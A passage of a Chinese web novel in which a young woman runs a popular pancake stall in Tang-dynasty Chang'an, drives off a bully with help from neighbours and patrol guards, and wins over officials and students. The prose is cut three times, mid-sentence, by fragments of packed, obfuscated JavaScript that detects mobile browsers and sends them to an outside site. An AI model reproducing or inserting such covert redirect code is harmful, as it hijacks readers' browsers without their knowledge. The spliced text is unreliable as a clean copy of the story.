荷叶包裹下，饼身金黄酥脆，表面撒着胡麻，鲜绿的白苣和灿金色的荷包蛋相互映衬，热气蒸腾间散发出诱人的香气。 他原本不饿，但瞧见这色彩鲜明的饼子也不由得口舌生津，咬下一口，顿时满口生香。 饼皮酥脆，饼芯柔软的同时又不失嚼劲，酱料咸香适中，香味浸透了每一道缝隙，新鲜的菜蔬和煎得焦香的荷包蛋更是增添了别样风味，配着脆爽可口的萝卜丁，竟比许多珍馐吃来还要令人身心舒畅。 谢宵由衷赞道：“确实不错。” “是吧二郎！”青松连连应道，“饼子、酱料、荷包蛋和菜蔬，包括那腌菜萝卜丁，每样都叫人赞不绝口！怪不得那崔娘子的生意好呢，只出摊一次便已风靡整个长安城……” 听着耳边书童的叨叨絮语，谢宵慢条斯理地享用着自己的朝食，目光不自觉地又飘向那柳树下的小小酱饼摊。 那煎饼女郎约莫十八*九岁年纪，身穿一件普通的青色襦裙，腰间系着素色围裙，正神色认真地往一张饼子上刷酱。 一缕碎发从她绾起的发髻中滑落，垂在颊边，随着她的动作轻轻晃动。晨光洒在她身上，为她镀上一层柔和的金边。 谢宵忽然觉得手中的饼更加美味了几分。 他见过许多精工细作的点心糕饼，却从未有一道食物能像这样，让他感受到制作者的用心，仿佛将全部心意都倾注在一张方寸的酱饼之中。 他还记得自己第一次见对方时的情形。 永安渠旁，他把人从河里救上来后第一时间查看她的情况，那时的她仿佛一片沾水栀子，随时都会被风吹走。 如今看来，她已经不会再为其他事感到烦忧了，这样很好。 崔记酱香饼……原来是崔小娘子。 但愿她越来越好。 谢宵放下车帘，吩咐道：“青松，走吧。” 20. 无赖搞事 晨鼓未响，崔家姐妹三人已在院内各有各的忙碌。 崔时钰在灶间将醒了半宿的面团摔打得啪啪作响，阿锦蹲在灶前添柴，火光将她那张总是不苟言笑的小脸映照得暖意融融；远处，阿宁用牙刷沾着牙粉刷牙的声音轻快地传了过来。 唐朝的牙粉与后世牙膏功效相仿，都是用来清洁牙齿的家用之物，多以中药和香料为原料。崔家的牙粉是用青盐混合着几种便宜草药的粉末，很是粗糙，使用效果也一般。 此时天气尚未回暖，但已有生命力顽强的野菜从地里萌发出来，在第一株野菜冒头之时，崔时钰便采了几株薄荷，将其晒干研磨后混入牙粉。 本朝人尚未认识到薄荷有良好的清新口气功效，是以这种清新的薄荷牙粉一经使用，便让两个妹妹顿觉新奇，赞不绝口。 阿锦亲口认证“刷完牙后嘴巴里香香的”，就连阿宁也对刷牙没那么抗拒了——崔时钰算是发现了，小孩子对于刷牙这事儿似乎有种与生俱来的抗拒，不分今古。 关于牙粉，她还有更多想改进的，比如，等到槐树开花结籽后将槐树花槐树籽加入牙粉，这东西在现代被证实有消炎抗菌的作用，能预防牙龈炎症；再比如，用猪、羊等动物骨头制成骨粉，里面含有的钙磷等成分能坚固牙齿——这是她受了现代骨粉牙膏的启发。 想做的事还有很多，不过当务之急是先烙好今日的一百五十张饼子。 出摊首日，崔时钰只备了五十张饼子，不到半个时辰便销售一空，转天她又备一百张，同样一个多时辰便卖得一干二净，她大受鼓舞，于是再转天一口气准备了二百张饼子。 问题出现了。 倒不是酱饼卖不出去，食客们巴不得她整个上午都在西市摆摊才好，哪里会嫌她卖的饼子多呢？ 问题并不在于卖不出去，而是活儿太多忙不过来：想要做出二百张饼子，意味着崔时钰不到寅时，即凌晨两点就要起床，这还不包括煎荷包蛋的时间。 她一个人早起便也算了，但妹妹们还在长身体，崔时钰不想影响她们。 四点多起床已经是极限了。 她删删减减，试验数次，最终把饼子定在了“一百五十”这一数量，既能卖出个好销量，又不会过于辛苦。 一切准备就绪，将保温食盒放进推车时，天边正好泛起鱼肚白。 姐妹三人推着推车穿过坊门，车上饼铛、食盒、酱料罐子相互轻撞，叮当作响，像支晨曲。 “阿姊，今日咱们的面醒得正好，烙出来的饼香极了。”崔时锦回忆着醒好的白胖发胀的面团，手指戳下去便是一个不会回弹的小坑，很是有趣。 崔时钰听了便逗她：“昨日的饼子不香吗？” 和天真烂漫的小妹阿宁不同，她这个二妹有着与年龄不符的成熟，一张英气小脸总一板一眼，让她很忍不住想要逗上一逗。 “阿姊哪里的话。”崔时锦有些赧然，“阿姊做的饼子没有不香的。” 她说着拍了拍腰间鼓囊囊的荷包，里头铜钱相撞的声响让阿宁眼睛一亮。 “好多钱呀！”阿宁拍着手，怕被人听到，只小声地欢呼雀跃。 之前那个只能装下几百铜钱的扑满早就满了，但还没摔，被崔时钰存放在柜子里，只等需要时再取用。 崔时钰没有再添置新扑满，把物件装满再摔碎的过程总让她觉得有些浪费，姐妹三人现在用来装钱的工具就是一个布袋，简单方便，容量还大。 不过布袋子里的铜钱也快装满了，崔时钰预备着这两天就去柜坊或金银铺子把铜钱换成银两。 银子，白花花的银子……拿在手里该有多舒坦！ 想着白花花的银子，崔时钰越发富有动力，一路大步流星来到集市，却在看清面前景象时猛地刹住脚步。 她们惯常摆摊的柳树下支起一个陌生的炉子，竟卖的也是酱香饼！ 一个穿褐色短打的驴脸汉子正往炉膛里塞柴火，见她们来了，故意把水瓢往她们常摆的条石上一搁。 再糊涂的人都能看出是怎么回事了。 崔时钰冷静下来，将推车停稳，自己走到那驴脸汉子跟前，冷声道：“这位郎君，此处是我们姊妹三人摆了半月的位置。” 马六斜眼瞥见车上“崔记酱香饼”的招牌，不屑地哼了一声，“西市规矩，先到先得。” 他抡起铁钳敲打炉壁，火星子差点溅到阿宁裙角，吓得小姑娘往后一跳。 阿锦先骂：“你不讲道理！” 担心妹妹被这人发作，崔时钰赶忙上前将两个妹妹护到身后，回过身来，正要撸起袖子和那汉子理论，突然听一女声道：“见人家卖酱香饼生意好，你便来鸠占鹊巢，马六你害不害臊？” 她转头看去。 这妇人人称柳七娘，挨着崔时钰摆摊贩酒，边喝边卖，摊子上常摆着些清酒、松醪春、竹叶青之类的酒坛子。 崔时钰初次见她时曾有心搭话，奈何对方当时许是喝猛了，正与人当街对骂，且大有把整条街上所有人都骂一遍的架势，崔时钰只好知难而退。 她没想到，两人第一次产生交流会是在这种情况之下。 那叫马六的汉子没想到柳七娘会突然向他发难，张了张嘴：“你……” 还没说完，对面牛乳摊子的方九娘也提着陶罐走过来，乳香混着身上茉莉油的味道，和她的话一同飘入众人耳中：“街坊们谁不知道这柳树荫是崔家姊妹的？有些人最好自重。” 与柳七娘情况不同，崔时钰和这位方九娘搭过几次话，还算相熟，大概知晓对方的一些情况：她男人养牛，她卖牛乳，膝下有一子，和阿宁差不多大，小名伍儿。 伍儿生得白嫩，性子安静，没寻常小男孩那样淘气，乍一看倒有点像个小女孩，这会儿正扒着阿娘的衣袖，怯生生地瞧着面前发生的一切。 被几个妇人职责，马六自觉颜面无光，脸上横肉一抖，突然抄起铁钳往条石上一砸，扯着嗓子嚷：“少跟老子扯什么先来后到！我到了就是我的！” 动静太大，几个常买酱香饼的食客闻声聚拢。 “哪来的冒牌货？赶紧给崔娘子腾地方！” “好不容易来早一次，别耽误我吃酱香饼。” “就是就是，要脸的话就快点走人！” “……” 然而他们还是低估了此人的脸皮厚度，驴脸汉子依旧我行我素，往摊子上一立，就是不走。 有这么多人向着她，没什么好怕的。 崔时钰朝方才为她说话的柳七娘、方九娘等人颔首致谢，不卑不亢对驴脸汉子道：“郎君如此行事，武侯铺的鼓楼可都瞧着呢。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626285|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >武侯铺相当于后世的派出所，武侯们就是片警，专管坊内大事小情，之前这些人连着在她儿买了好几日饼子，今日对半也会路过此处。 马六叉腰大笑：“武侯铺？那群人此刻怕还在……” 一道清朗男声截断他的话头：“在巡西市。” 武长青按着腰刀转出巷口，他身后的李二和钱四正拿铁链子缠在手上玩，那表情莫名让崔时钰想起四个大字：你爹来了。 没想到收他的人这么快就来了，马六顿时矮了半截，脸上横肉抽搐着堆出一个谄媚的笑：“武铺正今日怎么来了？” 他听闻近日卖得红火的饼摊摊主娘子是名孤女，除了两个幼妹便再无其他亲人，于是便起了歪心思，想着对方看他人高马大定会知难而退乖乖走人，没想到帮她说话的人这么多，甚至还惊动了武侯，真是偷鸡不成反蚀把米！ 武长青面无表情：“只听说西市今日新来了个卖饼的，没想到还兼营占人摊子的买卖。” 他说话时眼睛看着那驴脸汉子东施效颦的饼摊，眉头皱得仿佛能夹死蚊子。 马六的喉结上下滚动了一下，“都是误会，武铺正，都是误会！” 武长青突然提高声量，“带着你的炉子老实回去，再让我看见你踏进西市——”边说边亮出腰刀，答案不言而喻。 一阵叮叮咣咣，驴脸汉子推着饼车仓皇而逃，不到半盏茶工夫，柳树下就只剩下几块焦黑的柴火印。 见事情平息，大家纷纷各回各处，崔时钰再次拉着妹妹向众人道谢，特别是柳七娘和方九娘。 还有突然从天而降的武长青。 因对方之前没少来买饼，崔时钰早已识得这张脸，再加上方才听那驴脸汉子称呼这人为武铺正，福身谢道：“多谢武铺正出手相助，儿与妹妹们感激不尽。” 铺正……大概就是武侯头子的意思？懂了，派出所所长！ “小娘子不必多礼。”武长青抿了抿唇，“也不必忧心，某定嘱咐武侯们巡街时多留意此处。” 这句话就相当于“你这个小摊我罩了”。 眼瞅再不用担心治安问题，崔时钰心里乐开了花，笑着对武长青说：“多谢武铺正。武铺正稍待，今日请您尝尝双蛋酱香饼。” “那便有劳小娘子了。” 饼铛烧热，崔时钰麻利地从保温食盒里扯出一张饼子，摊在抹了油的铛上。 待饼皮微黄，她舀了一大勺辣酱抹开——这位派出所所长最喜辣酱口味，被热气一激，酱香辣味儿很快弥漫开来。 尽管已经闻过这味道许多次，但每次武长青都忍不住在心里感叹：好香。 他不自觉地往前凑了半步，又不动声色退回，耳根微微发红。 饼子做好，崔时钰将两个荷包蛋放上去，铺生菜，撒萝卜丁和葱花，对折裹进干荷叶：“武铺正慢用，小心烫。” 多加一颗蛋的酱香饼沉甸甸的，面前女郎对自己的称呼也从“客官”变成了“武铺正”。 武长青接过还烫手的饼包，心头暖洋洋的，温声道：“多谢小娘子，待我回去，定要向其他人推介小娘子的饼摊。” 崔时钰眼睛一亮。 推荐她的酱香饼？在武侯铺？ 广告位这不就来了！ 她抬眸莞尔一笑：“那便多谢武铺正了。” 21. 脆炸鸡排 钱四揣着刚买回来的热腾腾的酱香饼回了武侯铺。 一路上，那股勾魂的香味直往鼻子钻，钱四忍不住深吸一口气，肚子立刻咕噜噜叫起来。 不愿独自享受这甜蜜的烦恼，他贱兮兮地捅了捅身旁的同僚，“李二，你闻到了没？” 李二闻言翻了个白眼：“废话，这么香，谁闻不到？” “话说起来，那崔娘子做的饼子真是一绝啊！昨儿个刘二那厮为了抢最后一张加蛋的饼子，差点跟王五打起来。” 自打武长青向武侯铺这帮人推荐了崔记酱香饼之后，这些武侯的朝食便再没吃过旁的东西——武铺正素来沉默寡言，甚少和其他人有正事以外的交流，这次居然破天荒举荐了一家名不见经传的小饼摊！ 武侯们早已苦简陋的朝食久矣，又抱着几分想要讨好铺正的心思，于是纷纷前去购买，谁知这一买便停不下来了。 这酱香热饼是真香啊！买回来配着粥吃，连以往觉得稀汤寡水的粟米粥都香甜几分——至于那干巴巴的胡饼，谁还瞧得上眼？就连从前还能凑合扒拉几口的腌酱菜，都被饼子里面的萝卜丁比得渣都不剩。 想着饼子可口的味道，钱四舔了舔嘴唇，又回想起那个柳树下冒着热气的小饼摊。 因着职业关系，武侯们比寻常百姓的起床时间更早，按理说很是利于排队，可饶是如此，他们一行人来到西市时就见那小饼摊前已经排起长队，最前面那个穿绸衫的胖子甚至已经开始要第四张饼了。 “快排队快排队！”当时他急不可耐地推着同僚，“再排晚一会儿饼子就卖光了！” 武侯铺里十几个汉子早就按捺不住，一窝蜂地冲向那个不起眼的小摊。 钱四跑得最快，排在头一个，没过多久便轮到他，豪爽地拍出早已准备好的七文钱。 “小娘子，我要一套加鸡脯的饼子，多刷辣酱！” 崔记酱香饼目前推出了五种口味，只刷酱的素饼、加菜、加蛋、菜蛋都加，还有这两日新出的加炸鸡脯的饼，和“梅香映雪”“金玉满堂”一样，也起了个好听的名字，叫做“玉酥屑金”。 钱四饭量大，喜辣，从前最爱刷辣酱的菜蛋都加的饼子，如今新欢变成了这“玉酥屑金”。比他手掌还大的鸡排铺满整块叠好的饼子，咬一口，外酥里嫩，酱香浓郁，简直是人间美味。 因是唯一一道肉食，不加菜不加蛋，只加炸鸡脯就要七文一套，是所有口味当中最贵的，但钱四觉得这笔钱花得很值，谁让崔小娘子将这鸡脯炸得实在好吃呢？ 他相信绝对不只他一个人愿意花这笔钱。 就在他胡思乱想这段时间，摊后的崔娘子已将面饼热好、鸡脯炸好，正在刷酱。她头也不抬，手上的动作快得让人眼花缭乱。 钱四看得眼睛都直了。 那辣酱红得发亮，刷在饼上红彤彤的，极有食欲，配上刚煎出来的金黄酥脆的鸡脯，再撒上一把翠绿的葱花，一折一卷，香气扑鼻。 ——现在也直往他鼻子里钻呢。 饥肠辘辘地回到武侯铺，顾不上去公厨，钱四拉着李二直接往外面的门槛一坐，从怀里掏出还温热的酱香饼，张嘴就是一大口。 辣酱的辛香先冲上脑门，紧接着是炸得外酥里嫩、满口是肉的鸡脯，咬下去能听见脆皮碎裂的声音，肉汁混着酱料在舌尖炸开，钱四幸福得快要翻白眼。 他边吃边嘟囔：“这鸡脯真是绝了！外面脆里面嫩，真不知那崔小娘子是用什么料腌的，火候也炸得刚刚好，真是太了不得了！” “唔唔唔！”李二咬着饼子，回答得含糊不清，但显然对这番话很是赞同。 武侯铺的其他人也都陆续买好饼子回来了，一时间，整个公厨加上外院里都是咔嚓咔嚓的咀嚼声和此起彼伏的赞叹：刘二捧着加蛋的饼吃得满嘴流油，连声说比于酒酒楼酒席上的菜还香；王五更夸张，把掉在袖子上的胡麻粒都舔干净了。 钱四吃得正欢，没过多久，忽然觉得四周的嘈杂声像被刀切断了似的，瞬间安静下来。 他茫然回头，嘴里的饼渣差点喷出来。 只见一队身着绛色公服的差役正肃立门口，为首的男子头戴乌纱幞头，身着深紫色圆领官袍，腰间金带在晨光中闪闪发亮。 那张冷峻威严的脸，长安城谁人不识？ 李二第一个反应过来：“谢、谢府尹！” 整个武侯铺的人瞬间起身，手忙脚乱地行礼。 钱四慌忙把剩下的饼塞进怀里，结果酱汁渗出，在衣襟上洇开一片红渍。 他连连叫坏：早知今日不让崔娘子刷那么多辣酱了！ 他偷偷瞧着京兆尹谢珏，除了琢磨对方今日为何突然造访外，还想起了另一件无人不知、无人不晓的事。 几年前，户部李侍郎贪污赈灾粮款，证据确凿却仍狡辩，在朝堂上涕泪横流，声称有人构陷，甚至搬出背后靠山当朝右相。 众臣噤声，无人敢言，唯有谢珏据理力争，举出关键证据，这才将李侍郎等人一网打尽。 那之后，这位年轻的京兆府尹名声大噪，再无人对他年纪轻轻便执掌京兆府有半分微词。 虽然谢珏此人看起来颇为不苟言笑，在朝堂上亦有雷霆手段，私底下却非常疼爱娘子。尽管两人成婚多年仍膝下无子，谢珏依然待娘子如初，与妻子郁夫人是长安城的一段佳话。 此外，谢珏还有个胞弟，名叫谢宵，字承安，于国子监广文馆修业，同样可以想见将来必定大有所为。 说起这位谢小郎君，在长安城中也是颇有美名，年方弱冠便以才学闻名长安，自入广文馆以来，每逢季考总是名列前茅，所作策论常被博士们传阅示众。 去岁冬试，他的一篇文章竟引得国子祭酒亲自批注“理正辞达”，自此名声更盛，如今东西二市的书肆里，常有举子争相中秋求购他平日习作的抄本。 这般才名，莫说是在广文馆中独步一时，便是放眼今年报考进士科的千余名举子，也称得上是凤毛麟角了。 一言以蔽之：陈郡谢氏，名门清流。 ——所以谁能来告诉他，京兆尹大人一大清早来他们这小小武侯铺干啥来了？ 谢珏负手而立，冷峻目光缓缓扫过众人，声音低沉：“昨夜永兴坊有贼人纵火未遂，武侯铺可有异常禀报？” 武长青上前恭敬道：“回府尹，昨夜卑职带人彻夜巡防，已将可疑之人悉数拿下。” 谢珏微微颔首，目光却忽然落在钱四身上，过了片刻，缓步向他走来。 官靴踏在石板上的声音清晰可闻，钱四浑身一僵，手都不知往哪儿放了，脑子里疯狂回想自己最近有没有渎职行为。 是上个月偷懒少巡了半条街，还是前天收了个卖胡饼的老头两文钱没上报？ 这么点事至于惊动府尹大人吗！ 正当他胡思乱想之际，脚步声在他面前停下了。 钱四盯着眼前那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629314|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双墨色官靴，心跳快得要蹦出嗓子眼。 结果对方看着他的领口发问：“你方才吃的是何物？” 声音微冷，钱四一时没反应过来是在问自己，直到被李二在底下偷偷踹了一脚，这才结结巴巴地说，“回府尹话，是……是酱香饼。” “味道如何？” 啊？ 钱四抬头，对上对方深不见底的眼睛，这位以铁面著称的京兆尹大人脸上看不出半点情绪，但钱四分明看见他的喉结动了动。 府尹大人在问他酱香饼好不好吃诶——别人都没问，就问他！ “好吃！”钱四一激动，把话匣子打开了，“加了炸鸡脯的最香！那鸡脯一尝便知是用香料腌足了时辰，炸得外酥里嫩。饼皮也好，外面微脆，里头暄软，刷上秘制辣酱，味道美极了！” 他说得眉飞色舞，突然意识到自己在跟谁说话，声音戛然而止。 完了……他是不是有点话太多了？ 偏头去看李二，对方也是一脸的不忍直视。 谢珏却不以为意，神色自若，说了句“叨扰了”便大步离去。 武长青亲自出门相送。 钱四自然也随着其他武侯跟上去，看着对方的背影，半晌才回过神来。 所以……京兆尹大人，是也想吃酱香饼吗？ * 与此同时，长乐坊南的小院里，崔时钰正预备着炸鸡排。 这鸡排是她特意留下来的，作为自己和妹妹们的午食，已经用刀背砸得薄厚均匀，又用盐、花椒粉、酱油和一小撮孜然腌渍入味，每寸肌理都吸饱了滋味，只等下锅油炸。 油锅已经烧热，估摸着时候差不多了，崔时钰拎起一片鸡肉，在面糊里滚过，滑进锅内。 入锅瞬间，只听“滋啦”一声，金黄的油花瞬间欢快翻涌起来。 不过片刻，那片鸡肉就脱胎换骨，披上了金黄酥脆的外衣，用长筷子夹起来，油脂顺着焦壳滴落，炸物的香气在小小的庖厨里横行霸道。 崔时钰掰了一小块放进嘴里。 鸡排甫一入口，外壳应声而裂，咸香鲜美的肉汁立刻涌出，香料的味道锦上添花，不仅不会抢了鸡肉本身的香味，还增添了几分独特的香气。 崔时钰满足地眯起眼睛，忍不住有点小骄傲：这脆炸鸡排味道的确很好嘛，难怪一经推出便广受追捧。 几日前，眼瞅着酱香饼的销路已经打开，崔时钰便想着给酱香饼进行升级，仿照后世的“大饼加一切”，添些其他食材来丰富口感和营养，比如火腿、培根、烤肠什么的。 她最先想到的是猪肉肠，一来猪肉价格便宜成本低，二来味道也好，是十分合适的酱饼升级食材，然而仔细一想又觉得不太妥当：光是给猪肉去腥那三个步骤就要花费不少工夫了，更别提将猪肉切成肉糜再灌进肠衣做成肉肠，要花费的时间太多了，不成不成。 对于现在的她来说，时间就是金钱。 思来想去，崔时钰把目光盯上了鸡胸脯肉，裹了面糊下锅一炸，不就成了香喷喷的鸡排了吗？正适合夹在饼里。 她一拍脑门，当即去高老汉那里订购了十斤鸡胸脯肉，依旧是早起提前做出来，拿到小摊上再进行第二次复煎，这样不仅省时，做出来的炸鸡排还更脆更香了。 炸鸡排的反响很是不错，想起今早火急火燎排队的钱四和李二，崔时钰嘴角不自觉地上扬。 看来明日还得多准备些鸡排才是！ 22. 饼子风波 “阿茹，别在这里闹好不好？” 清明渠旁，碧水潺潺，垂柳依依，偶有飞鸟掠过水面激起一圈涟漪，本是一片大好风景，却有一对年轻男女在此吵架，硬生生破坏了雅静氛围。 作为吵架的主人公之一，程同的声音虽还软着，但面上已隐隐泛起不耐烦的神色，耐着性子道：“回去之后，你想吃什么我都给你买。” “我就想吃那饼子！”袁四娘红着眼眶看着面前男子，手中的绣帕都绞成了麻花，“你不是说什么都给我买吗？那我就想吃个饼子，你为何不给我买？” 闻言，程同的脸色更沉了。 ——就算是将他打死，他也不能将“那饼摊是我从前的未婚妻开的”这件事告诉阿茹啊！ 若是阿茹知晓此事，必定会追问到底，到时引来诸多事端，那可就不好收场了。 程同越想越烦。 当初他对崔时钰说出那句“阿钰若寻得做屠豕杀鸡生意的门当户对之人，可当嫁了”，原本是想着她们姊妹三人在长安城中开销颇大，对方听到这话必定羞愧难当，正好借此机会离开长安城，找个乡下庄子过日子。 他自觉这是为了她好，青梅竹马一场，如此倒也不算辜负往日情谊。 当然，程同心中的确是这样想的：以崔时钰的家境和出身，难道不是与做屠豕杀鸡生意之人门当户对？她早已配不上日后必定飞黄腾达的自己了。 然而谁能想到，崔时钰落水被人救上来后，不仅没像他想象中那样离开长安城，反而弃绣从食摆了个小饼摊，生意还一天比一天红火。 真是叫他有苦难言。 长安城虽大，但日后难免低头不见抬头见，这叫他如何自处，为瞒住阿茹又得花费多少心思？ 程同越想越是窝火，在被袁四娘觉察之前迅速调整好表情，摆出笑容说道：“那饼摊主人手艺虽好，但阿茹你身为官宦人家的贵女，怎能吃这种街边小吃，岂非有失身份？我这也是为你着想。” 尽管口口声声为袁四娘考虑，程同却并非发自内心喜欢她。 袁四娘的父亲是负责军器监文书事务的军器监主簿，区区八品文职小官，程同自然瞧不上眼，他瞧上的是袁四娘从事盐业的母家——家产丰厚，未来能助他一臂之力。 正因需要这份助力，程同面对袁四娘是五分温柔五分讨好，十分的耐心全给了这一个人，若非袁四娘今日突然提起酱香饼的事，他是断不会和对方吵架的。 话说回来，袁四娘与崔时钰这两个人中，程同还是更喜欢温柔小意的崔时钰——袁四娘是从小娇养长大的千金，性子泼辣，他着实不喜。 但为了自己想要的东西，他愿意暂时忍气吞声。 男子汉大丈夫，能屈能伸嘛。 似乎是终于被他说服，袁四娘转了转眼珠，以帕掩唇，答应道：“罢了，区区一个饼子，不吃便不吃了。” 听到这话，程同的眼角眉梢终于染上喜悦，动作温柔地牵过袁四娘的纤纤玉手：“阿茹莫要将此事放在心上，我去寻些更好的吃食来，于记酒楼的桂花糕如何？” 袁四娘点点头，在程同看不到的地方，嘴角却悄悄翘了起来。 她早就打听好了，那饼摊娘子每日清晨都在西市拐角处的一棵柳树旁准时出摊。 她自己去买不就是了？ * 清早的晨光刚漫上坊市屋檐，崔时钰的小摊前便已排起长队。 除了武侯铺那些老顾客，今日排队的还有另一位熟人，冶坊的林冶工。 崔时钰很喜欢招待他，因为—— “有劳崔小娘子，还是老规矩，三蛋三菜，再加三块炸鸡脯。” 林冶工是个大胃王！ 许是每日在冶铺做工体力格外消耗大，林冶工的饭量差不多是其他人的两三倍，寻常食客要么点一份加菜加蛋的饼，要么点一份加炸鸡排和饼，林冶工则是“我全都要”。 不仅要，还要三份。 崔时钰不露痕迹瞄着对方硕大的块头，暗想：吃这么多东西，人家长不高谁长得高？ 她从保温适合里挨个取出饼子荷包蛋炸鸡排，分别放到热好的饼铛上复炸复热。 这一套大胃王套餐价格肯定超出二十文，但当初订做手推车时林冶工没少给她打折，做人要懂得知恩图报、你来我往，是以崔时钰也给对方打了个折，只取整收二十文。 林铁山将二十文铜钱递给崔时锦，小姑娘见着比自己块头大了好几倍的人也不害怕，气定神闲地说了句：“林冶工慢走。” 再看那当吉祥物的崔家小妹，边啃饼子边朝他挥手呢。 林铁山就笑：“崔家三个小娘子，个个都是人物！” 崔时钰也笑，把用两张干荷叶包好的巨无霸饼子递过去，无意中瞥见队伍后头有个戴着帷帽的女郎，正好奇地左右张望。 这名女郎生得十分娇小，偏生方才还被大块头林冶工挡着，崔时钰差点以为他身后没人。 女郎往前走了两步，目光在面前的摊子前巡视一圈，想到方才听到的“翠玉生香”“玉酥屑金”等吆喝，伸出纤细手指一指：“我要那个‘金堂满玉’！” 听到她说错了，崔时钰也并未纠正，只笑笑说：“小娘子是头一次来吧？稍等片刻，马上就好。” 袁四娘“嗯”了一声，踮着脚说：“最好快一点哦，我不想等太久。”她这趟可是偷偷来的。 “小娘子请放心。”崔时钰手上动作不停，抬头问，“小娘子吃辣不吃？” 袁四娘思忖片刻，朗声回答：“吃！” 其实她很少吃辣，但好不容易得到放纵的机会，当然要做些平常没做过的事。 “好。”崔时钰应一声，继续忙活了。 面饼上铛的瞬间，袁四娘忍不住偷偷掀开帷帽一角。 她瞧见煎成金黄色的荷包蛋铺在饼子上，刷上了红艳艳的辣酱，翠绿的白苣和鲜脆的萝卜丁被一股脑儿卷进去，又撒上了葱花和胡麻……那香气冲得她肚子不争气地叫了一声。 奇也怪哉！明明出门前是吃了东西的呀。 正奇怪着，那崔娘子已将饼子递了过来：“小娘子尝尝。” 估摸着是为方便她待会儿吃，那递过来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633918|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饼子荷叶口还半敞着。为了这心心念念的饼子，袁四娘已等待多时，接过来便咬了大一口。 咬下去的瞬间她就被惊艳了——外酥里软，油润的蛋香混着清新的菜蔬，最妙的是那辣酱，又香又辣，和她从前吃过的都不一样，辣得舌尖发麻都不舍得停下，直叫她不顾形象地连吃好几大口。 袁四娘吃得脸颊鼓鼓的，眼睛亮得惊人，边吃边说：“太好吃了！这蛋怎么这么嫩，辣酱怎么这么香……崔娘子，你莫不是会什么仙法？” 崔时钰被她逗笑了，心想她要是会仙法就好了，变个点石成金的法术，就不必在这儿辛苦给铺子赚装修费了。 她忍不住温声提醒：“小娘子慢点吃，别噎着。” * 广文馆。 内院的一棵槐树下，徐佑贤捧着荷叶饼包吃得满嘴油光，操着生硬的长安话道：“承安，若渊，这个饼好好吃哦！” 大唐盛世经济发达，文化、政治制度、科学技术都处于领先水平，周边国家仰慕唐朝文明，纷纷派遣学生留学长安。 徐佑贤便是来自高丽的留学生。 他身穿一袭淡青色圆领襕衫，下*身搭配一条同色长裤，束起的裤脚露出脚踝处的白色裹腿；头上戴一顶黑色幞头，系带在脑后轻轻垂下，正随着他啃饼子的动作微微晃动。 若是忽略衣领上沾染的几点酱汁，这身常见的学子打扮也算清爽干净。 因是外籍人员，徐佑贤对长安城的一切都很是新奇，特别是在吃食方面——唐朝的食物可比他们高丽美味多了！ 自打留学过来，他这张嘴就没停下过，如今得了这酱香热饼，更是如获至宝一般爱不释口。 一旁的顾书砚为了更好地听清他们的谈话，伸手拨了拨耳上的竹耳，赞同道：“确实绝妙，蛋香与面香交融，白苣和萝卜丁有如神来之笔，让饼子的滋味更上一层楼。”说着又咬一口，满足地眯起眼。 顾书砚有轻微的听力障碍，竹耳便是辅助他听音的装置——形状类似竹筒，用象牙精细打磨制作而成，使用时将窄口端贴近耳朵，宽口端朝向声音来源方向，这样就能够听清声音了。 从小到大，顾书砚一直佩戴这东西，早已习惯。 广文馆是国子监下辖学校之一，与国子学、太学、四门学等并列，招收的学生非官即宦，顾书砚的家世在众多世家子弟中实在排不上号，自己耳朵又有毛病，很是不受待见。 唯有谢宵不介意他的出身，愿意和他做朋友。 ——至于徐佑贤为何愿意与他做朋友，大概是因为对方是个笨蛋。 谢宵看着两人狼吞虎咽的样子，唇角微扬，慢条斯理道：“我早吃过了。” “什么？！”徐佑贤差点跳起来，“有这等美味，承安你怎么不早告诉我们？” 顾书砚推了推竹耳，同样发来谴责：“就是，承安你若是早些告诉我们，我们也不必在公厨啃胡饼了。“ 谢宵笑而不语，想起那日清晨，自己在马车上看到的，那位崔娘子为他做饼子时的专注神情。 他不懂自己为何会如此想念。 23. 菌菇素面 崔时钰正在院里拾掇菌子。 今日营业额颇高，竟足足有四百多文，可把她高兴坏了，傍晚采购时特意从蔡记菜蔬铺子买了些菌子，除了常见的木耳草菇，还买了松菌和羊肚菌。 此时菌菇已登上唐人们的餐桌，无论王公贵族还是平民百姓都很喜欢，还有诗人曾云：“成福僧留不拟归，猕猴菌嫩豆苗肌。”受欢迎程度由此可见一斑。 羊肚菌和松菌都不是常见的菌子，价格不菲，若非伞盖有些蔫巴而因此打了折，崔时钰未必会舍得买——银钱尚未赚够，小崔仍需努力。 虽然菌子伞盖有些皱皱巴巴不太美观，但味道并不受很大影响，趁两个妹妹和隔壁娇娇出门玩耍，崔时钰将买来的菌子分成两批，一批等着做待会儿要吃的菌菇面，另一批则用猪油炸成了菌油渣。 